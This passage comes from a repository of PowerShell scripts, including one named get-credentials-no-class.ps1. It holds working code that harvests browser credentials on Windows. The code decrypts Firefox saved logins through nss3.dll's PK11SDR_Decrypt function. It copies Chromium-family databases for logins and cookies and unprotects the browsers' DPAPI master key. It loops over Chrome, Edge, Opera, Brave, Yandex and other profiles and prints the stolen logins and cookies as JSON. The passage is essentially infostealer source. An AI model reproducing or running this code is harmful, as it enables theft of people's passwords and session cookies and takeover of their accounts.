msvcp120.dll: $LastError" 810 | } 811 | 812 | if(Test-Path $mozgluedll) { 813 | $mozgluedllHandle = [Win32]::LoadLibrary($mozgluedll) 814 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 815 | Write-Verbose "Last error loading mozglue.dll: $LastError" 816 | } 817 | 818 | if(Test-Path $nss3dll) { 819 | $nssdllhandle = [Win32]::LoadLibrary($nss3dll) 820 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 821 | Write-Verbose "Last Error loading nss3.dll: $LastError" 822 | } 823 | } 824 | if(($nssdllhandle -eq 0) -or ($nssdllhandle -eq [IntPtr]::Zero)) { 825 | Write-Verbose "Last Error: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" 826 | Throw "Could not load nss3.dll" 827 | } 828 | # /Load nss3.dll 829 | 830 | # Create the ModuleBuilder 831 | $DynAssembly = New-Object System.Reflection.AssemblyName('NSSLib') 832 | $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 833 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('NSSLib', $False) 834 | 835 | # Define SecItem Struct 836 | $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 837 | $StructBuilder = $ModuleBuilder.DefineType('SecItem', $StructAttributes, [System.ValueType]) 838 | $StructBuilder.DefineField('type', [int], 'Public') > $null 839 | $StructBuilder.DefineField('data', [IntPtr], 'Public') > $null 840 | $StructBuilder.DefineField('len', [int], 'Public') > $null 841 | $SecItemType = $StructBuilder.CreateType() 842 | 843 | # $NSS_Init = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((DynamicLoadDll "$mozillapath\nss3.dll" NSS_Init), (Get-DelegateType @([string]) ([long]))) 844 | $NSS_Init = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "NSS_Init"), (Get-DelegateType @([string]) ([long]))) 845 | $NSS_Shutdown = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "NSS_Shutdown"), (Get-DelegateType @() ([long]))) 846 | 847 | $PK11_GetInternalKeySlot = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "PK11_GetInternalKeySlot"), (Get-DelegateType @() ([long]))) 848 | $PK11_FreeSlot = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "PK11_FreeSlot"), (Get-DelegateType @([long]) ([void]))) 849 | $PK11_Authenticate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "PK11_Authenticate"), (Get-DelegateType @([long], [bool], [int]) ([long]))) 850 | 851 | $PK11SDR_Decrypt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "PK11SDR_Decrypt"), (Get-DelegateType @([Type]$SecItemType.MakeByRefType(),[Type]$SecItemType.MakeByRefType(), [int]) ([int]))) 852 | 853 | }catch{ 854 | $_ 855 | } 856 | 857 | # https://github.com/Leslie-Shang/Browser_Decrypt/blob/master/Browser_Decrypt/Firefox_Decrypt.cpp 858 | # https://github.com/techchrism/firefox-password-decrypt/blob/master/ConvertFrom-NSS.ps1 859 | Function FFDecrypt-CipherText { 860 | param ( 861 | [parameter(Mandatory=$True)] 862 | [string]$cipherText 863 | ) 864 | $dataStr = "" 865 | $slot = $PK11_GetInternalKeySlot.Invoke() 866 | try{ 867 | if ($PK11_Authenticate.Invoke($slot, $true, 0) -eq 0) { 868 | # Decode data into bytes and marshal them into a pointer 869 | $dataBytes = [System.Convert]::FromBase64String($cipherText) 870 | $dataPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dataBytes.Length) 871 | [System.Runtime.InteropServices.Marshal]::Copy($dataBytes, 0, $dataPtr, $dataBytes.Length) > $null 872 | 873 | # Set up structures 874 | $encrypted = [Activator]::CreateInstance($SecItemType) 875 | $encrypted.type = 0 876 | $encrypted.data = $dataPtr 877 | $encrypted.len = $dataBytes.Length 878 | 879 | $decrypted = [Activator]::CreateInstance($SecItemType) 880 | $decrypted.type = 0 881 | $decrypted.data = [IntPtr]::Zero 882 | $decrypted.len = 0 883 | 884 | $PK11SDR_Decrypt.Invoke([ref] $encrypted, [ref] $decrypted, 0) > $null 885 | 886 | # Get string data back out 887 | $bytePtr = $decrypted.data 888 | $byteData = [byte[]]::new($decrypted.len) 889 | [System.Runtime.InteropServices.Marshal]::Copy($bytePtr, $byteData, 0, $decrypted.len) > $null 890 | $dataStr = [System.Text.Encoding]::UTF8.GetString($byteData) 891 | } 892 | }catch{} 893 | $PK11_FreeSlot.Invoke($slot) > $null 894 | return $dataStr 895 | } 896 | # /Firefox decryptor 897 | 898 | # Firefox 899 | function Read-FirefoxCookies { 900 | param ( 901 | $path 902 | ) 903 | $_rows = [System.Collections.Generic.List[System.Collections.Generic.List[string]]]::new() 904 | $sDatabasePath="$env:LocalAppData\SQLiteData" 905 | copy-item "$path" "$sDatabasePath" 906 | 907 | [sqliteDB] $db = [sqliteDB]::new($sDatabasePath, $false) 908 | $stmt = $db.prepareStmt("select host,name,value from moz_cookies") 909 | 910 | if (-not $stmt) { 911 | return @(); 912 | } 913 | 914 | while ( $stmt.step() -ne [WinSqlite]::DONE ) { 915 | [void]$_rows.Add(@( 916 | $stmt.col(0), 917 | $stmt.col(1), 918 | $stmt.col(2) 919 | )) 920 | } 921 | 922 | $stmt.finalize() > $null 923 | $db.close() > $null 924 | 925 | Remove-Item -path "$sDatabasePath" 2> $null 926 | 927 | return $_rows 928 | } 929 | 930 | function Read-FirefoxLogins { 931 | param ( 932 | $path 933 | ) 934 | $_rows = [System.Collections.Generic.List[System.Collections.Generic.List[string]]]::new() 935 | 936 | $json = Get-Content "$path" | Out-String | ConvertFrom-Json 937 | foreach ($login in $json.logins) { 938 | $_item = @($login.hostname, "deuser err", "depass err", $login.formSubmitURL) 939 | try{ 940 | $_item[1] = (FFDecrypt-CipherText $login.encryptedUsername) 941 | }catch{} 942 | try{ 943 | $_item[2] = (FFDecrypt-CipherText $login.encryptedPassword) 944 | }catch{} 945 | $_rows.Add($_item) > $null 946 | } 947 | return $_rows 948 | } 949 | 950 | # Read dir 951 | if (( -not ( ($nssdllhandle -eq 0) -or ($nssdllhandle -eq [IntPtr]::Zero) ) ) -and (Test-Path -path "$env:AppData\Mozilla\Firefox\Profiles") ) { 952 | $firefoxData = @{} 953 | $folders = Get-ChildItem -Name -Directory "$env:AppData\Mozilla\Firefox\Profiles" 954 | foreach ($_folder in $folders) { 955 | $NSSInitResult = $NSS_Init.Invoke("$env:AppData\Mozilla\Firefox\Profiles\$_folder") 956 | if ($NSSInitResult -ne 0) { 957 | Write-Warning "Could not init nss3.dll" 958 | continue 959 | } 960 | 961 | $firefoxData[$_folder] = @{} 962 | try{ 963 | $firefoxData[$_folder]['cookies'] = Read-FirefoxCookies -path "$env:AppData\Mozilla\Firefox\Profiles\$_folder\cookies.sqlite" 964 | }catch{} 965 | try{ 966 | $firefoxData[$_folder]['logins'] = Read-FirefoxLogins -path "$env:AppData\Mozilla\Firefox\Profiles\$_folder\logins.json" 967 | }catch{} 968 | # NSS_Shutdown 969 | $NSS_Shutdown.Invoke() > $null 970 | } 971 | $data['Firefox'] = $firefoxData 972 | 973 | if ($nssdllhandle) { 974 | [Win32]::FreeLibrary($nssdllhandle) > $null 975 | } 976 | if ($mozgluedllHandle) { 977 | [Win32]::FreeLibrary($mozgluedllHandle) > $null 978 | } 979 | if ($msvcp120dllHandle) { 980 | [Win32]::FreeLibrary($msvcp120dllHandle) > $null 981 | } 982 | if ($msvcr120dllHandle) { 983 | [Win32]::FreeLibrary($msvcr120dllHandle) > $null 984 | } 985 | } 986 | # Firefox 987 | 988 | $data | ConvertTo-Json -Depth 9 -Compress 989 | -------------------------------------------------------------------------------- /get-credentials-no-class.ps1: -------------------------------------------------------------------------------- 1 | # Add-Type -assembly System.Security 2 | [System.reflection.assembly]::LoadWithPartialName("System.Security") > $null 3 | [System.reflection.assembly]::LoadWithPartialName("System.IO") > $null 4 | function DynamicLoadDll { 5 | Param ($dllName, $methodName) 6 | $UnsafeNativeMethods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 7 | return $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($UnsafeNativeMethods.GetMethod('GetModuleHandle')).Invoke($null, @($dllName)))), $methodName)) 8 | } 9 | Function Get-DelegateType { 10 | Param ( 11 | [Parameter(Position = 0, Mandatory = $False)] [Type[]] $parameters, 12 | [Parameter(Position = 1)] [Type] $returnType = [Void] 13 | ) 14 | $MyDelegateType = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 15 | $MyDelegateType.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameters).SetImplementationFlags('Runtime, Managed') 16 | $MyDelegateType.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $returnType, $parameters).SetImplementationFlags('Runtime, Managed') 17 | return $MyDelegateType.CreateType() 18 | } 19 | 20 | # SQLite 21 | if (-not ([System.Management.Automation.PSTypeName]'Win32').Type) { 22 | Add-Type -TypeDefinition @' 23 | using System; 24 | using System.Runtime.InteropServices; 25 | public static class Win32 { 26 | [DllImport("kernel32.dll", CharSet=CharSet.Auto)] 27 | public static extern IntPtr GetModuleHandle(string lpModuleName); 28 | [DllImport("kernel32", CharSet=CharSet.Ansi, SetLastError=true)] 29 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 30 | [DllImport("kernel32", CharSet=CharSet.Ansi, SetLastError=true)] 31 | public static extern IntPtr LoadLibrary(string name); 32 | [DllImport("kernel32", CharSet=CharSet.Ansi, SetLastError=true)] 33 | public static extern bool FreeLibrary(IntPtr hLib); 34 | } 35 | '@ 36 | } 37 | if (-not ([System.Management.Automation.PSTypeName]'WinSqlite').Type) { 38 | Add-Type -TypeDefinition @" 39 | using System; 40 | using System.Runtime.InteropServices; 41 | public static partial class WinSqlite { 42 | public const Int32 OK = 0; 43 | public const Int32 ERROR = 1; 44 | public const Int32 BUSY = 5; 45 | public const Int32 CONSTRAINT = 19; // Violation of SQL constraint 46 | public const Int32 MISUSE = 21; // SQLite interface was used in a undefined/unsupported way (i.e. using prepared statement after finalizing it) 47 | public const Int32 RANGE = 25; // Out-of-range index in sqlite3_bind_…() or sqlite3_column_…() functions. 48 | public const Int32 ROW = 100; // sqlite3_step() has another row ready 49 | public const Int32 DONE = 101; // sqlite3_step() has finished executing 50 | public const Int32 INTEGER = 1; 51 | public const Int32 FLOAT = 2; 52 | public const Int32 TEXT = 3; 53 | public const Int32 BLOB = 4; 54 | public const Int32 NULL = 5; 55 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_open")] 56 | public static extern IntPtr open( 57 | // [MarshalAs(UnmanagedType.LPStr)] 58 | String zFilename, 59 | ref IntPtr ppDB // db handle 60 | ); 61 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_exec" 62 | // , CharSet=CharSet.Ansi 63 | )] 64 | public static extern IntPtr exec ( 65 | IntPtr db , /* An open database */ 66 | // String sql , /* SQL to be evaluated */ 67 | IntPtr sql , /* SQL to be evaluated */ 68 | IntPtr callback, /* int (*callback)(void*,int,char**,char**) -- Callback function */ 69 | IntPtr cb1stArg, /* 1st argument to callback */ 70 | ref String errMsg /* Error msg written here ( char **errmsg) */ 71 | ); 72 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_errmsg" , CharSet=CharSet.Ansi)] 73 | public static extern IntPtr errmsg ( 74 | IntPtr db 75 | ); 76 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_prepare_v2", CharSet=CharSet.Ansi)] 77 | public static extern IntPtr prepare_v2 ( 78 | IntPtr db , /* Database handle */ 79 | String zSql , /* SQL statement, UTF-8 encoded */ 80 | IntPtr nByte , /* Maximum length of zSql in bytes. */ 81 | ref IntPtr sqlite3_stmt, /* int **ppStmt -- OUT: Statement handle */ 82 | IntPtr pzTail /* const char **pzTail -- OUT: Pointer to unused portion of zSql */ 83 | ); 84 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_int")] 85 | public static extern IntPtr bind_int( 86 | IntPtr stmt, 87 | IntPtr /* int */ index, 88 | IntPtr /* int */ value); 89 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_int64")] 90 | public static extern IntPtr bind_int64( 91 | IntPtr stmt, 92 | IntPtr /* int */ index, // TODO: Is IntPtr correct? 93 | Int64 value); 94 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_double")] 95 | public static extern IntPtr bind_double ( 96 | IntPtr stmt, 97 | IntPtr index, 98 | Double value 99 | ); 100 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_text")] 101 | public static extern IntPtr bind_text( 102 | IntPtr stmt, 103 | IntPtr index, 104 | // [MarshalAs(UnmanagedType.LPStr)] 105 | IntPtr value , /* const char* */ 106 | IntPtr x , /* What does this parameter do? */ 107 | IntPtr y /* void(*)(void*) */ 108 | ); 109 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_blob")] 110 | public static extern IntPtr bind_blob( 111 | IntPtr stmt, 112 | Int32 index, 113 | IntPtr value, 114 | Int32 length, // void* 115 | IntPtr funcPtr // void(*)(void*) 116 | ); 117 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_bind_null")] 118 | public static extern IntPtr bind_null ( 119 | IntPtr stmt, 120 | IntPtr index 121 | ); 122 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_step")] 123 | public static extern IntPtr step ( 124 | IntPtr stmt 125 | ); 126 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_reset")] 127 | public static extern IntPtr reset ( 128 | IntPtr stmt 129 | ); 130 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_count")] 131 | public static extern Int32 column_count ( // Int32? IntPtr? Int64? 132 | IntPtr stmt 133 | ); 134 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_type")] // Compare with sqlite3_column_decltype() 135 | public static extern IntPtr column_type ( 136 | IntPtr stmt, 137 | Int32 index 138 | ); 139 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_double")] 140 | public static extern Double column_double ( 141 | IntPtr stmt, 142 | Int32 index 143 | ); 144 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_int")] // TODO: should not generally sqlite3_column_int64 be used? 145 | public static extern IntPtr column_int( 146 | IntPtr stmt, 147 | Int32 index 148 | ); 149 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_int64")] 150 | public static extern Int64 column_int64( 151 | IntPtr stmt, 152 | Int32 index 153 | ); 154 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_text" 155 | // , CharSet=CharSet.Ansi 156 | )] 157 | // [return: MarshalAs(UnmanagedType.LPStr)] 158 | public static extern IntPtr column_text ( 159 | IntPtr stmt, 160 | Int32 index 161 | ); 162 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_blob" 163 | )] 164 | public static extern IntPtr column_blob ( 165 | IntPtr stmt, 166 | Int32 index 167 | ); 168 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_column_bytes" 169 | )] 170 | public static extern Int32 column_bytes ( 171 | IntPtr stmt, 172 | Int32 index 173 | ); 174 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_finalize")] 175 | public static extern IntPtr finalize ( 176 | IntPtr stmt 177 | ); 178 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_close")] 179 | public static extern IntPtr close ( 180 | IntPtr db 181 | ); 182 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_last_insert_rowid")] 183 | public static extern Int64 last_insert_rowid ( 184 | IntPtr db 185 | ); 186 | [DllImport("winsqlite3.dll", EntryPoint="sqlite3_next_stmt")] 187 | public static extern IntPtr next_stmt ( 188 | IntPtr db, 189 | IntPtr stmt 190 | ); 191 | // [DllImport("winsqlite3.dll")] 192 | // public static extern IntPtr sqlite3_clear_bindings( 193 | // IntPtr stmt 194 | // ); 195 | } 196 | "@ 197 | } 198 | 199 | iex @' 200 | function utf8PointerToStr([IntPtr]$charPtr) { 201 | [OutputType([String])] 202 | # 203 | # Create a .NET/PowerShell string from the bytes 204 | # that are pointed at by $charPtr 205 | # 206 | [IntPtr] $i = 0 207 | [IntPtr] $len = 0 208 | 209 | while ( [Runtime.InteropServices.Marshal]::ReadByte($charPtr, $len) -gt 0 ) { 210 | $len=$len+1 211 | } 212 | [byte[]] $byteArray = new-object byte[] $len 213 | 214 | while ( [Runtime.InteropServices.Marshal]::ReadByte($charPtr, $i) -gt 0 ) { 215 | $byteArray[$i] = [Runtime.InteropServices.Marshal]::ReadByte($charPtr, $i) 216 | $i=$i+1 217 | } 218 | 219 | return [System.Text.Encoding]::UTF8.GetString($byteArray) 220 | } 221 | 222 | function pointerToByteArray([IntPtr]$blobPtr, [Int32]$len) { 223 | [OutputType([Byte[]])] 224 | 225 | [byte[]] $byteArray = new-object byte[] $len 226 | 227 | for ($i = 0; $i -lt $len; $i++) { 228 | $byteArray[$i] = [Runtime.InteropServices.Marshal]::ReadByte($blobPtr, $i) 229 | } 230 | 231 | # 232 | # The comma between the return statement and the 233 | # $byteArray variable makes sure that a byte 234 | # array is returned rather than an array of objects. 235 | # See https://stackoverflow.com/a/61440166/180275 236 | # 237 | return ,$byteArray 238 | } 239 | 240 | function byteArrayToPointer([Byte[]] $ary) { 241 | 242 | [IntPtr] $heapPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($ary.Length); 243 | [Runtime.InteropServices.Marshal]::Copy($ary, 0, $heapPtr, $ary.Length); 244 | 245 | return $heapPtr 246 | } 247 | 248 | function strToUtf8Pointer([String] $str) { 249 | [OutputType([IntPtr])] 250 | # 251 | # Create a UTF-8 byte array on the unmanaged heap 252 | # from $str and return a pointer to that array 253 | # 254 | 255 | [Byte[]] $bytes = [System.Text.Encoding]::UTF8.GetBytes($str); 256 | 257 | # Zero terminated bytes 258 | [Byte[]] $bytes0 = new-object 'Byte[]' ($bytes.Length + 1) 259 | [Array]::Copy($bytes, $bytes0, $bytes.Length) 260 | 261 | return byteArrayToPointer $bytes0 262 | 263 | # [IntPtr] $heapPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($bytes0.Length); 264 | # [Runtime.InteropServices.Marshal]::Copy($bytes0, 0, $heapPtr, $bytes0.Length); 265 | 266 | # return $heapPtr 267 | } 268 | 269 | function SqliteDBOpen([String] $dbFileName){ 270 | [OutputType([IntPtr])] 271 | [IntPtr] $db_ = 0 272 | $res = [WinSqlite]::open($dbFileName, [ref] $db_) 273 | if ($res -ne [WinSqlite]::OK) { 274 | throw "Could not open $dbFileName" 275 | } 276 | return $db_ 277 | } 278 | 279 | function SqliteDBclose([IntPtr] $db) { 280 | [OutputType([void])] 281 | 282 | $openStmtHandles = new-object System.Collections.Generic.List[IntPtr] 283 | 284 | [IntPtr] $openStmtHandle = 0 285 | while ( ($openStmtHandle = [WinSqlite]::next_stmt($db, $openStmtHandle)) -ne 0) { 286 | $openStmtHandles.add($openStmtHandle) 287 | } 288 | foreach ($openStmtHandle in $openStmtHandles) { 289 | $res = [WinSqlite]::finalize($openStmtHandle) 290 | if ($res -ne [WinSqlite]::OK) { 291 | throw "sqliteFinalize: res = $res" 292 | } 293 | } 294 | 295 | $res = [WinSqlite]::close($db) 296 | 297 | if ($res -ne [WinSqlite]::OK) { 298 | 299 | if ($res -eq [WinSqlite]::BUSY) { 300 | write-warning "Close database: database is busy" 301 | } 302 | else { 303 | write-warning "Close database: $res" 304 | write-warning (utf8PointerToStr ([WinSqlite]::errmsg($db))) 305 | } 306 | write-error (utf8PointerToStr ([WinSqlite]::errmsg($db))) 307 | throw "Could not close database" 308 | } 309 | } 310 | 311 | 312 | function SqliteStmtPrepare([IntPtr] $db, [String] $sql) { 313 | [OutputType([IntPtr])] 314 | [IntPtr] $handle_ = 0 315 | $res = [WinSqlite]::prepare_v2($db, $sql, -1, [ref] $handle_, 0) 316 | if ($res -ne [WinSqlite]::OK) { 317 | write-warning "prepareStmt: sqlite3_prepare failed, res = $res" 318 | write-warning (utf8PointerToStr ([WinSqlite]::errmsg($db))) 319 | return $null 320 | } 321 | return $handle_ 322 | } 323 | 324 | function SqliteStmtStep([IntPtr] $handle) { 325 | [OutputType([IntPtr])] 326 | $res = [WinSqlite]::step($handle) 327 | return $res 328 | } 329 | 330 | function SqliteStmtCol( 331 | [IntPtr] $handle, 332 | [Int] $index 333 | ) { 334 | [OutputType([object])] 335 | 336 | $colType = [WinSqlite]::column_type($handle, $index) 337 | switch ($colType) { 338 | 339 | ([WinSqlite]::INTEGER) { 340 | # 341 | # Be safe and return a 64-bit integer because there does 342 | # not seem a way to determine if a 32 or 64-bit integer 343 | # was inserted. 344 | # 345 | return [WinSqlite]::column_int64($handle, $index) 346 | } 347 | ([WinSqlite]::FLOAT) { 348 | return [WinSqlite]::column_double($handle, $index) 349 | } 350 | ([WinSqlite]::TEXT) { 351 | [IntPtr] $charPtr = [WinSqlite]::column_text($handle, $index) 352 | return utf8PointerToStr $charPtr 353 | } 354 | ([WinSqlite]::BLOB) { 355 | 356 | [IntPtr] $blobPtr = [WinSqlite]::column_blob($handle, $index) 357 | return pointerToByteArray $blobPtr [WinSqlite]::column_bytes($handle, $index) 358 | } 359 | ([WinSqlite]::NULL) { 360 | return $null 361 | } 362 | default { 363 | throw "This should not be possible $([WinSqlite]::sqlite3_column_type($handle, $index))" 364 | } 365 | } 366 | return $null 367 | } 368 | 369 | function SqliteStmtfinalize([IntPtr] $handle) { 370 | [OutputType([void])] 371 | $res = [WinSqlite]::finalize($handle) 372 | 373 | if ($res -ne [WinSqlite]::OK) { 374 | throw "sqliteFinalize: res = $res" 375 | } 376 | } 377 | 378 | '@ 379 | 380 | Function Convert-HexToByteArray { 381 | [cmdletbinding()] 382 | param( 383 | [parameter(Mandatory=$true)] 384 | [String] 385 | $HexString 386 | ) 387 | 388 | $Bytes = [byte[]]::new($HexString.Length / 2) 389 | For($i=0; $i -lt $HexString.Length; $i+=2){ 390 | $Bytes[$i/2] = [convert]::ToByte($HexString.Substring($i, 2), 16) 391 | } 392 | $Bytes 393 | } 394 | 395 | # $hexdecKey = ($decKey | ForEach-Object ToString X2) -join '' #Convert byte[] to hex 396 | Function Convert-ByteArrayToHex { 397 | [cmdletbinding()] 398 | param( 399 | [parameter(Mandatory=$true)] 400 | [Byte[]] 401 | $Bytes 402 | ) 403 | $HexString = [System.Text.StringBuilder]::new($Bytes.Length * 2) 404 | ForEach($byte in $Bytes){ 405 | $HexString.AppendFormat("{0:x2}", $byte) > $null 406 | } 407 | $HexString.ToString() 408 | } 409 | 410 | function Read-ChromiumLCData { 411 | param ( 412 | $master_key, 413 | $path, 414 | $query 415 | ) 416 | 417 | $_rows = New-Object 'System.Collections.ArrayList' 418 | $sDatabasePath="$env:LocalAppData\SQLiteData" 419 | copy-item "$path" "$sDatabasePath" 420 | 421 | 422 | [IntPtr] $db = SqliteDBOpen $sDatabasePath 423 | [IntPtr] $stmt = SqliteStmtPrepare $db $query 424 | 425 | if (-not $stmt) { 426 | return @() 427 | } 428 | 429 | while ( (SqliteStmtStep $stmt) -ne [WinSqlite]::DONE ) { 430 | try { 431 | $encrypted_data = SqliteStmtCol $stmt 2 432 | if ($encrypted_data.StartsWith("763130") -or $encrypted_data.StartsWith("763131") -or $encrypted_data.StartsWith("76313")) { 433 | # v10, v11, v1x 434 | # Ciphertext bytes run 0-2="V10"; 3-14=12_byte_IV; 15 to len-17=payload; final-16=16_byte_auth_tag 435 | 436 | # $encrypted_data = Convert-HexToByteArray $encrypted_data 437 | # [byte[]]$signature = $encrypted_data[0..2] 438 | # [byte[]]$iv = $encrypted_data[3..14] 439 | # [byte[]]$encData = $encrypted_data[15..($encrypted_data.Length-1-16)] 440 | # [byte[]]$auth_tag = $encrypted_data[-16..-1] 441 | 442 | # [byte[]]$auth_tag = $encrypted_data[($encrypted_data.Length-16)..($encrypted_data.Length-1)] 443 | 444 | # Write-Host "SIGNATURE: $signature" 445 | # Write-Host "IV: $iv" 446 | # Write-Host "EncData: $encData" 447 | # Write-Host "Auth Tag: $auth_tag" 448 | 449 | [void]$_rows.Add(@( 450 | (SqliteStmtCol $stmt 0), 451 | (SqliteStmtCol $stmt 1), 452 | $encrypted_data 453 | # [System.Convert]::ToBase64String($encrypted_data) 454 | )) 455 | continue 456 | } 457 | if ($encrypted_data.StartsWith("01000000")) { 458 | $encrypted_data = Convert-HexToByteArray $encrypted_data 459 | $UnprotectScope = [System.Security.Cryptography.DataProtectionScope]::CurrentUser 460 | $decrypted_data = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted_data, $null, $UnprotectScope) 461 | $decrypted_data = [System.Text.Encoding]::ASCII.GetString($decrypted_data) 462 | [void]$_rows.Add(@( 463 | (SqliteStmtCol $stmt 0), 464 | (SqliteStmtCol $stmt 1), 465 | $decrypted_data 466 | # [System.Convert]::ToBase64String($encrypted_data) 467 | )) 468 | continue 469 | } 470 | [void]$_rows.Add(@( 471 | (SqliteStmtCol $stmt 0), 472 | (SqliteStmtCol $stmt 1), 473 | $encrypted_data 474 | # [System.Convert]::ToBase64String($encrypted_data) 475 | )) 476 | }catch{$_} 477 | } 478 | 479 | SqliteStmtfinalize $stmt > $null 480 | SqliteDBclose $db > $null 481 | 482 | Remove-Item -path "$sDatabasePath" 2> $null 483 | 484 | return $_rows 485 | } 486 | 487 | function Read-ChromiumLocalState { 488 | param ( 489 | $path 490 | ) 491 | 492 | $localStateFile = "$env:LocalAppData\ChromiumLocalState" 493 | copy-item "$path" "$localStateFile" 494 | $encrypted_key = [System.Convert]::FromBase64String((Select-String -Path "$localStateFile" '"encrypted_key":"([^"]+?)"' -AllMatches | Foreach-Object {$_.Matches} | Foreach-Object {$_.Groups[1].Value})) 495 | Remove-Item -path "$localStateFile" 2> $null 496 | 497 | $UnprotectScope = [System.Security.Cryptography.DataProtectionScope]::CurrentUser 498 | $decrypted_key = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted_key[5..$encrypted_key.length], $null, $UnprotectScope) 499 | return [System.Convert]::ToBase64String($decrypted_key) 500 | } 501 | 502 | $data = [ordered]@{} 503 | 504 | # Chromium 505 | # https://chromium.googlesource.com/chromium/src/+/HEAD/docs/user_data_dir.md 506 | $chrome = @("Chrome", "Chrome Beta", "Chrome SxS") 507 | $chromiumPaths = @() 508 | foreach($_item in $chrome) { 509 | $chromiumPaths += "$env:LocalAppData\Google\$_item" 510 | } 511 | 512 | # Untested 513 | $chromiumPaths += "$env:LocalAppData\Chromium" 514 | $chromiumPaths += "$env:AppData\Opera Software\Opera Stable" 515 | $chromiumPaths += "$env:AppData\Opera Software\Opera GX Stable" 516 | $chromiumPaths += "$env:LocalAppData\Microsoft\Edge" 517 | $chromiumPaths += "$env:LocalAppData\CocCoc\Browser" 518 | $chromiumPaths += "$env:LocalAppData\BraveSoftware\Brave-Browser" 519 | $chromiumPaths += "$env:LocalAppData\Yandex\YandexBrowser" 520 | $chromiumPaths += "$env:LocalAppData\Tencent\QQBrowser" 521 | 522 | foreach ($chromiumPath in $chromiumPaths) { 523 | if ( -not (Test-Path -Path "$chromiumPath") ) { 524 | continue 525 | } 526 | $data[$chromiumPath] = @{} 527 | try{ 528 | # Read local state data 529 | $data[$chromiumPath]['decrypted_key'] = Read-ChromiumLocalState -path "$chromiumPath\User Data\Local State" 530 | }catch{$_} 531 | 532 | # Read dir 533 | $folders = Get-ChildItem -Name -Directory "$chromiumPath\User Data" 534 | foreach ($_folder in $folders) { 535 | $folder = $_folder.ToLower() 536 | if (-not ($folder -eq "default" -or $folder.StartsWith("profile "))) { 537 | continue 538 | } 539 | $data[$chromiumPath][$_folder] = [ordered]@{} 540 | try { 541 | # Read logins data 542 | $data[$chromiumPath][$_folder]['logins'] = Read-ChromiumLCData -master_key "$data['decrypted_key']" -path "$chromiumPath\User Data\$_folder\Login Data" -query 'select origin_url,username_value,hex(password_value) from logins' 543 | }catch{$_} 544 | try { 545 | # Read cookies data 546 | $data[$chromiumPath][$_folder]['cookies'] = Read-ChromiumLCData -master_key "$data['decrypted_key']" -path "$chromiumPath\User Data\$_folder\Cookies" -query 'select host_key,name,hex(encrypted_value) from cookies' 547 | }catch{$_} 548 | } 549 | 550 | } 551 | # Firefox decryptor 552 | try { 553 | # Load nss3.dll 554 | $nssdllhandle = [IntPtr]::Zero 555 | 556 | $mozillapaths = $( 557 | "$env:HOMEDRIVE\Program Files\Mozilla Firefox", 558 | "$env:HOMEDRIVE\Program Files (x86)\Mozilla Firefox", 559 | "$env:HOMEDRIVE\Program Files\Nightly", 560 | "$env:HOMEDRIVE\Program Files 